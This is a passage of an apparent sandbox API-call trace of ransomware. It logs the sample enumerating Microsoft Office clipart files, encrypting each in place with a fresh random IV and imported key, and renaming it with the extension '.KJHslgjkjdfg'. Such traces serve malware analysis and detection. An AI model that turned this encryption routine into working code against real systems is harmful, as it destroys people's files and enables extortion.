[0156.642] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.642] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc20, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc20, lpOverlapped=0x0) returned 1 [0156.642] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc20, dwBufLen=0xc20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc20) returned 1 [0156.642] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.642] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc20, lpOverlapped=0x0) returned 1 [0156.643] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0156.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.643] SetEndOfFile (hFile=0x114) returned 1 [0156.653] GetProcessHeap () returned 0x2a0000 [0156.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0156.653] GetProcessHeap () returned 0x2a0000 [0156.653] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0156.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.kjhslgjkjdfg")) returned 1 [0156.654] CloseHandle (hObject=0x114) returned 1 [0156.654] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0156.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0156.654] GetProcessHeap () returned 0x2a0000 [0156.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0156.654] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0156.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0156.655] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0157.619] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.619] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.619] GetProcessHeap () returned 0x2a0000 [0157.619] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0157.619] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0157.619] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.619] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0157.771] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.772] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0157.772] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0157.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0157.772] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0157.772] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.772] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.772] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x634, lpOverlapped=0x0) returned 1 [0157.772] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x640, dwBufLen=0x640 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x640) returned 1 [0157.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.772] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x640, lpOverlapped=0x0) returned 1 [0157.772] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.773] SetEndOfFile (hFile=0x114) returned 1 [0157.779] GetProcessHeap () returned 0x2a0000 [0157.779] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0157.779] GetProcessHeap () returned 0x2a0000 [0157.779] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0157.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.kjhslgjkjdfg")) returned 1 [0157.780] CloseHandle (hObject=0x114) returned 1 [0157.780] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0157.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0157.781] GetProcessHeap () returned 0x2a0000 [0157.781] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0157.781] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0157.781] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0157.781] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.935] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.935] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.935] GetProcessHeap () returned 0x2a0000 [0157.935] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0157.935] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0157.935] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.936] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0157.936] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.936] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0157.936] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0157.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0157.936] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0157.936] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.936] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.936] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4bc, lpOverlapped=0x0) returned 1 [0157.936] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c0) returned 1 [0157.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.936] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4c0, lpOverlapped=0x0) returned 1 [0157.936] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.937] SetEndOfFile (hFile=0x114) returned 1 [0157.939] GetProcessHeap () returned 0x2a0000 [0157.939] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0157.939] GetProcessHeap () returned 0x2a0000 [0157.939] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0157.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.kjhslgjkjdfg")) returned 1 [0157.940] CloseHandle (hObject=0x114) returned 1 [0157.940] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0157.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0157.944] GetProcessHeap () returned 0x2a0000 [0157.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0157.944] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0157.944] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0157.944] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0157.948] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.948] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.948] GetProcessHeap () returned 0x2a0000 [0157.948] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0157.948] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0157.948] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.948] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0157.948] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.948] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0157.948] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0157.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0157.949] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0157.949] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.949] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.949] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x804, lpOverlapped=0x0) returned 1 [0157.949] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x810, dwBufLen=0x810 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x810) returned 1 [0157.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.949] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x810, lpOverlapped=0x0) returned 1 [0157.949] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.949] SetEndOfFile (hFile=0x114) returned 1 [0157.951] GetProcessHeap () returned 0x2a0000 [0157.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0157.951] GetProcessHeap () returned 0x2a0000 [0157.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0157.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.kjhslgjkjdfg")) returned 1 [0157.952] CloseHandle (hObject=0x114) returned 1 [0157.952] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0157.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0157.953] GetProcessHeap () returned 0x2a0000 [0157.953] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0157.953] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0157.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0157.953] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.958] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.958] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.958] GetProcessHeap () returned 0x2a0000 [0157.958] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0157.958] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0157.958] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.958] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0157.958] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0157.959] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0157.959] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0157.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0157.959] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0157.959] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0157.959] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0157.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.959] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15cc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15cc, lpOverlapped=0x0) returned 1 [0157.960] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15d0, dwBufLen=0x15d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15d0) returned 1 [0157.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.960] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x15d0, lpOverlapped=0x0) returned 1 [0157.960] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0157.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x16a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.960] SetEndOfFile (hFile=0x114) returned 1 [0157.963] GetProcessHeap () returned 0x2a0000 [0157.963] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) 